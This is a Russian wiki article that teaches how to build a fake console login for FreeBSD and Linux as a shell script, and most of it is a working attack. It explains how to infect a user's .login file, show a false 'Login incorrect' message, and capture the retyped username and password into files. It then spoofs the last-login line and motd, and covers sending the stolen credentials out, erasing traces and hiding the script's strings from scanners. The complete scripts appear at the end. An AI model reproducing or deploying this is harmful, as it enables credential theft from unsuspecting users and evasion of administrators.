Фальшивый логин
О ЧЕМ СТАТЬЯ?
Данная статья описывает имитацию консольного входа в систему FreeBSD и Linux на языке shell'а.
ВСТУПЛЕНИЕ:
В wiki я новичок и по оформлению - в зуб ногой, поэтому вставляю статью в виде plain-текста. Просьба - кому не лень, приведите текст к нормальному форматированию и удалите эту просьбу и пред. предложение. Прочитавших статью настоятельно прошу потестировать прилагаемые sh-скрипты на своей системе или дать советы по их совершенствованию и отписаться в комментариях. Если кто может - дайте ссылку на мини-дистрибутив весом в одну floppy-дискету или небольшой iso-образ с OpenBSD, NetBSD, BeOS, QNX или еще какой редкой системой. Просто мой медленный модем не позволяет качать из сети огроменные iso-образы с дистрибутивами.
>>> С уважением, AndreyMust19
При создании статьи использовались следующие системы:
- В качестве FreeBSD - FreeBSD 5.2.1
- В качестве Linux - Linux knoppix_debian 2.6.17
в дальнейшем работа была протестирована на:
- FrenzyBSD 6.1-STABLE
- Knoppix DSL 2.4.16
Теоретически должно работать на FreeBSD с 3.0 и на Linux с 2.4
Вариант 1. Фальшивый вход в систему
Действия
Заразить начало файла '.login' . Внедренный код должен вывести фразу "Неверный вход", чтобы пользователь решил, что ошибся при вводе логина или пароля. Затем самому потребовать ввести логин и пароль, а пользователь все еще будет думать, что об этом его просит операционная система. С большой долей вероятности пользователь введет правильный логин и пароль - мы сохраним их в файл и вышлем по сети или перенесем в публичные файлы.
После этого надо вывести на экран информацию о последнем входе (login так всегда делает). Далее выполнение файла .login продолжится в нормальном режиме, поскольку юзер уже вошел в систему, когда первый раз вводил пароль и логин.
Неверный вход
Фраза "Неверный вход" одинакова во всех системах и выглядит как "Login incorrect\n". Ее можно вывести командой echo.
Логин и пароль
Дальше надо вывести такие слова login и password, чтобы они совпадали с настоящими. Перед словом "login" может стоять название системы, а после слова "Password:" может стоять лишний пробел. Эти слова зависят от системы, для Linux:
login = '<host> login: '
password = 'Password: '
, где <host> - короткое имя машины.
а для FreeBSD:
login = 'login: '
password = 'Password:'
Если мы будем использовать эти текстовые константы, то наша гадость провалится, если этот текст выводится на другом языке. Правильнее будет проанализировать конфигурацию системы и решить - какой текст нужно вывести. Если все сделать правильно, в соответствии с текущей системой, фальшивый вход в систему не будет отличаться от настоящего. Для вывода строк можно 'echo -n "login"', а ключ -n нужен, чтобы курсор не переносился на след. строку. Для отключения эховывода сделать 'stty -echo', а после ввода пароля - восстановить его командой 'stty echo'. Для чтения логина и пароля cat не годится, так как это одна строка, поэтому читать введенные данные будем командой 'head -n 1'.
Время последнего входа
Как известно, перед входом в систему, login говорит - когда последний раз вошли под этой учетной записью и на какой консоли:
Last login: Thu Jun 25 22:49:58 on ttyv2
Некоторые юзеры внимательно относятся к этому сообщению, так как по нему можно узнать, что в систему входил посторонний. Поэтому отсутствие этого сообщения может насторожить и лучше его вывести на экран.
Способ 1 - журнал входов в систему
О времени последнего входа в Linux нам скажет lastlog:
$ lastlog -u $(whoami)
А во FreeBSD такую же информацию даст команда lastlogin:
$ lastlogin $(whoami)
Команда whoami нужна, чтобы подставить вместо нее имя нашей учетной записи. Тоже самое можно сделать, заменив $(whoami) на $USER, но в данном случае USER - это переменная окружения и ее значение можно изменить.
Поскольку программа login выводит информацию до входа в систему, она выводится на английском языке. А после входа в систему команды lastlog и lastlogin делают это на том языке, который установлен в переменной окружения LANG. Поэтому перед выполнением команды надо поменять ее значение на 'us', чтобы мы 100% получили дату на английском языке.
После вызова обе команды приподносят информацию в немного другом формате, нежели login. Линукс:
$ lastlog -u $(whoami)
Username Port From Latest
andrey ttyv3 Thu Jun 25 23:18:47 +0400 2009
ФриБСД:
$ lastlogin $(whoami)
andrey ttyv3 Thu Jun 25 23:18:47 2009
Итак, первая выводит 2 строки, а вторая - одну, причем последняя строка общая. Поэтому извлечем ее:
$ lastlog -u $(whoami) | tail -n 1
или
$ lastlogin $(whoami) | tail -n 1
Итак, из полученной строки нам надо извлечь дату и номер терминала. Заметьте, что аргументы разделены не tab'ом, а пробелами, что подтвержает команда hexdump. Как их извлечь? Поскольку у Linux перед годом стоит какое-то непонятное число, обрабатывать строку будет сначала, тем более пробелы в логинах втречаться не должны.
Вобщем, алгоритм такой:
- Записываем строку в переменную.
- Ищем первый пробел (0x20)
- Идем к концу строки, пока встречаются любые символы кроме пробелов (пройдем имя)
- Идем дальше, пропуская пробелы
- Запоминаем текущую позицию (A)
- Пропускаем не-пробелы (пройдем имя терминала)
- Записываем все символы с A до текущей позиции
- пропускаем пробелы, пока не дойдем до даты
- Запоминаем позицию в B
- Ищем 4 пробела и затем копируем в переменную символы от B до текущей позиции
Можно использовать другой алгоритм, с конца, но тогда в начале придется пропустить еще одно слово, если мы работаем на Linux-системе.
- Записываем строку в переменную.
- Посл. символ == 0Ah, значит продолжаем
- Ищем первый 0x20 с конца (B)
- Двигаемся к началу и пропускаем еще 4 пробела (A)
- Выкусываем строку от A до B (это дата и время логина)
- Двигаемся к началу, пока встречается 0x20 (D)
- Двигаемся к началу, пока не встретится 0x20 (C)
- Выкусываем строку от C до D (это будет название консоли)
В конце выводим на экран полученные строки:
"Last login: ", $AB, " on " $CD.
Вывод можно сделать с помощью символа <<.
Теперь, как выполнить все это языком shell'а. Проще всего командой awk. Она сама распознает пробелы, принимая разделенные ими слова за аргументы. Написать надо так:
& awk '{print $4, $5, $6, $7, "on", $2}'
Jun 26 13:37:09 2009 on ttyv2
Тут $4-$7 выводят дату, строка "on" - слово ' on ' с пробелами, а $2 соответствует консоль.
Способ 2 - текущая дата
И в Linux, и во FreeBSD есть команда date, которая выводит текущую дату. Эту дату можно вывести в любом формате, даже в том, в котором ее выводит login:
$ date "+%a %b %d %H:%M:%S"
Fri Jun 26 00:31:54
Можно немного рискнуть и вместо настоящего времени входа вывести текущую дату, а в качестве консоли указать текущую. Если повезет, пользователь ничего не заметит, так как у него уйдет некоторое время на ввод "фальшивого" логина и пароля. Правда эта команда вызовет проблемы во FreeBSD, поскольку в ней нет опции '%a' - над этим надо подумать.
Еще стоит отметить возможность вывести дату, записанную в строке (опция -d), но эта строка не совпадает с форматом строки, выводимой login. Текущую консоль можно узнать командой tty. Она не зависит от системы и всегда выводит полный путь терминала:
$ tty
/dev/tty2
Можно отбросить первые 5 символов, а для пущей надежности найти последний / и вывести все, что после него.
- Примечание:
Во FreeBSD команда lastlogin выводит только успешные и реально выполненные входы. Предложенный способ 1 будет всегда работать, поскольку /var/log/lastlog всегда будет содержать 7 аргумента:
root ttyv0 Fri Apr 9 23:18:48 2009
andrey ttyv1 Fri Jun 26 19:16:47 2009
В Linux немного по-другому. В файле /var/log/lastlog записаны все учетные записи, независимо от того, входили под ними в систему или нет:
Username Port From Latest
andrey :0 Fri Jun 26 19:43:28 +0400 2006
nx **Never logger in**
Во-первых, есть еще одно поле 'From', а во-вторых, учетная запись, возможно, ни разу еще не использовалась. Неизвестно, как login обработает эти ситуации. Поэтому будем так - подсчитаем кол-во аргументов, если их 8, тогда нам встретилась обычная запись, а в остальных случаях будем выводить текущую дату. В команде awk слово NF соответствует кол-ву аргументов в текущей строке. Данная команда выводит "123" если в строке последнего входа 8 аргументов и "hello" в ином случае:
lag='hello'
lastlog -u $(whoami) | tail -n 1 | awk -v lag=$lag '{ if (NF == 8) print "123"; print lag }'
Можно заранее получить текущую дату и записать ее в переменную lag:
$ date "+%c" | awk '{ print substr($0, 1, length $0 - 1),"on"; }'
Можно заранее получить текущую консоль и дату, а затем передать их команде awk:
$ t=$(tty) #получаем имя консоли
$ date "+%c" | awk -v ttt=$t '{ print $0,"on", substr(ttt, 5, length(ttt) - 4) }'
Fri Jun 26 21:40:04 2009 on /pts/3
здесь substr отбрасывает первые 4 символа вывода tty ("/dev/pts/3"->"/pts/3"). А вместо 'print "123"' написать вывод даты последнего входа:
awk '{ print $3,$4,$5,$6,$8,"on",$2}'
где $8 дополнительно выводит год. Но все это изврат, надежней не анализировать строку последнего входа, а просто вывести ее как пологается.
Приветствие
Во всех системах login, перед запуском оболочки выводит приветствие на экран, текст которого находится в /etc/motd. Если в домашнем каталоге пользователя есть файл '.hushlogin', то приветствие не выводится. На надо это "проэмулировать":
if !(test -e ~/.hushlogin) ; then
cat /etc/motd 2>/dev/null
fi
Удаление stderr нужно в том случае, если файла /etc/motd не существует и из-за этого команда cat сообщит об ошибке.
Небольшая особенность есть во FreeBSD. В ней после приветствия выводится копирайт системы:
Copyright (c) 1992-2004 The FreeBSD Project
Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994
Похожие строки есть в файле /COPYRIGHT, но в первой строке есть лишнее "All rights reserved". К тому же файл этот можно удалить. Вторая строка находится в самой программе login. Но... те же самые 2 строки выводит boot-загрузчик, а также rlogin, хотя в нем такой строки не наблюдается. Неужели они спрашивают ее у ядра?
Поиск строки '1992-2004' в ядре подтвержает:
$ grep 1992-2004 /boot/kernel/*
Binary file /boot/kernel/kernel/kernel matches
Тот факт, что эти строки выводятся при загрузке системы позволяет нам прочитать их из файла '/var/run/dmesg.boot'. Поскольку загрузчик выводит их первыми, то они будут находиться в самом начале файла:
head -n 3 /var/run/dmesg.boot
Затем надо добавить '\n', поскольку перед содержимым файла /etc/motd, выводимым login'ом есть пустая строка.
А если мы не введем пароль?
Если пользователь не введет пароль через некоторое время, то login сообщит, что время входа истекло. А дополнительно на экране появится заголовок входа. И если хотя бы одно из этих сообщений не совпадет с настоящим, наш план провалится. Оба сообщения также специфичны для разны систем. Для Linux:
timeout = 'Login timed out after <num> seconds.\n'
caption = '<system> <os> <version> <hostname> <tty>'
Для FreeBSD
timeout = 'login: Login timed out after <num> seconds\n'
caption = '<system> <hostname> (<tty>)'
здесь:
- <system> - название системы
- <os> - тип ядра
- <version> - версия ядра, (не)стабильная, релиз/тест
- <hostname> - имя хоста, можно узнать одноименной командой
- <tty> - название консоли, на к-ой происходит вход
- <num> - кол-во секунд, после к-х система прекратит вход
Проблема в том - как узнать <system>, <hostname> и все остальное?
- <hostname>
Можно узнать, дав команду 'hostname' или 'uname -n'
Делаем ноги
Ну, теперь осталось отправить файл с логином и паролем. Можно послать по сети на наш адрес, а лучше выложить в общий доступ, где мы сидим и ждем его. Как только файл появится, быстренько копируем его содержимое и удаляем, чтобы его не успели увидеть честные пользователи и не сообщили администрации. После чего надо удалить все созданные временные файлы и вырезать себя из зараженного файла (.login), чтобы он принял первоначальный вид.
Определяем конфигурацию
Теперь, когда мы написали 2 отдельных файла, работающих на FreeBSD и Linux, надо их переписать в один, объединив все общие части и сделать файл переносимым. Чтобы определить текущую систему, проще всего дать команду 'uname -s'. Она вернет на вывод FreeBSD или Linux. Недостаток в том, что имя системы помоему можно изменить, и тогда она станет неуязвима к нашему оружию, пока мы не определим систему как-то по другому. Несмотря на это, все конфигурационные скрипты в архивах с исходниками определяют систему командой 'uname -s'.
Можно найти специфичные файлы, например, /etc/rc.conf для FreeBSD и /etc/inittab для Linux. Но администратор может создать лишние файлы и тогда введет скрипт в ступор.
Можно определить тип исполняемого файла /bin/sh, прочитав сигнатуру ELF в первых 3-х байтах, а затем проверить байт по смещению 07h - если 0x09, значит FreeBSD, а если 0x00 - то Linux. Но и тут есть грабли. Тип системы 0x00 на самом деле соответствует UNIX System V, и его нормально воспринимает Linux, поэтому бОльшая часть исполняемых файлов имеет этот тип. Наверяка подобная ситуация может распространяться на другие очень редкие UNIX-системы. Так что 0x00 - не означает Linux.
Определение совместимости и процедура заражения
После определения системы мы должны выяснить - сможет ли работать наш скрипт. Для этого надо проверить наличие всех программ, которые мы будем запускать:
[ -x путь] && <команда>
<команда> выполнится только если <путь> существует и является исполняемым файлом.
Пусть систему и совместимость определяет скрипт заражения, а не наша "боевая начинка". То есть программа "фальшивый логин" всего-лишь определит текущую систему и будет работать в соответствии с ней. Можно было сделать по другому, так, чтобы:
- Текущую систему и совместимость проверяла сама боевая начинка, а скрипт заражения занимался только заражение. Но тогда боевая начинка будет больше по размеру и медленнее работать, что может вызвать подозрения. - Скрипт заражения сам компоновал боевую начинку в соответствии с системой, но это усложнило бы процесс заражения и сделало его менее читаемым. - Можно было вообще хранить в себе 2 отдельные версии начинки для каждой системы и не вращаться с портированием, но это увеличело бы размер гадости.
Так что наш выбор является серединой между размером и простотой программы. Во время тестирования оказалось, что на DSL Linux пробелы в конце переменных игнорирует не только echo, но и printf. Из-за этого "Password:" выводился без нужного пробела. Пришлось выводить пробел отдельно, если система - Linux.
Окончательный вариант фальшивого логина можно найти в falselogin.sh. В остальных falselogin-файлах тоже самое, но с комментариями в разных кодировках.
Прячем уши от человеческих глаз
Теперь пришла пора скрыть текстовые строки от глаз человека и сканеров. Для этого увеличиваем значение каждого символа на 1, а перед использованием - уменьшаем на 1.
Исходные тексты
Linux
#!/bin/sh
l="login: "
p="Password: "
echo "Login incorrect"
lg=$LANG
LANG='us'
printf "%s %s " $(hostname) $l
head -n 1 1>~/1login
stty -echo
printf "%s " $p
head -n 1 1>~/2login
stty echo
echo
echo -n "Last login: "
lastlog -u $(whoami) | tail -n 1 | awk '{ print $3, $4, $5, $6, $8, "on", $2 }'
if !(test -e ~/.hushlogin); then
cat /etc/motd 2>/dev/null
fi
FreeBSD
#!/bin/sh
l="login:"
p="Password:"
echo "Login incorrect"
lg=$LANG
LANG='us'
printf "%s " $l
head -n 1 1>~/1login
stty -echo
echo -n $p
head -n 1 1>~/2login
stty echo
echo
echo -n "Last login: "
lastlogin $(whoami) | awk '{print $3, $4, $5, $6, "on", $2}'
LANG=$lg
if !(test -e ~/.hushlogin); then
head -n 3 /var/run/dmesg.boot
echo
cat /etc/motd 2>/dev/null
fi
Портированный вариант для Linux и FreeBSD
#!/bin/sh
p="Password:"
### Starting ###
lg=$LANG
LANG='us'
echo 'Login incorrect'
s=$(uname -s)
case ${s} in
Linux)
st=1
l=$(hostname)" login:"
lslg="lastlog -u"
;;
FreeBSD)
st=2
l="login:"
prp="%s"
lslg="lastlogin"
cpr="head -n 3 /var/run/dmesg.boot"; cpr1="echo"
;;
esac
printf "%s " $l
head -n 1 >~/.1login
stty -echo
echo -n $p
if test $s=Linux; then echo -n ' '; fi
head -n 1 >~/.2login
stty echo; echo
echo -n "Last login: "
case ${s} in
Linux)
$lslg $(whoami) | tail -n 1 | awk '{print $3, $4, $5, $6, $8, "on", $2}'
;;
FreeBSD)
$lslg $(whoami) | awk '{print $3, $4, $5, $6, "on", $2}'
;;
esac
if !(test -e ~/.hushlogin); then
($cpr); ($cpr1)
cat /etc/motd 2>/dev/null
fi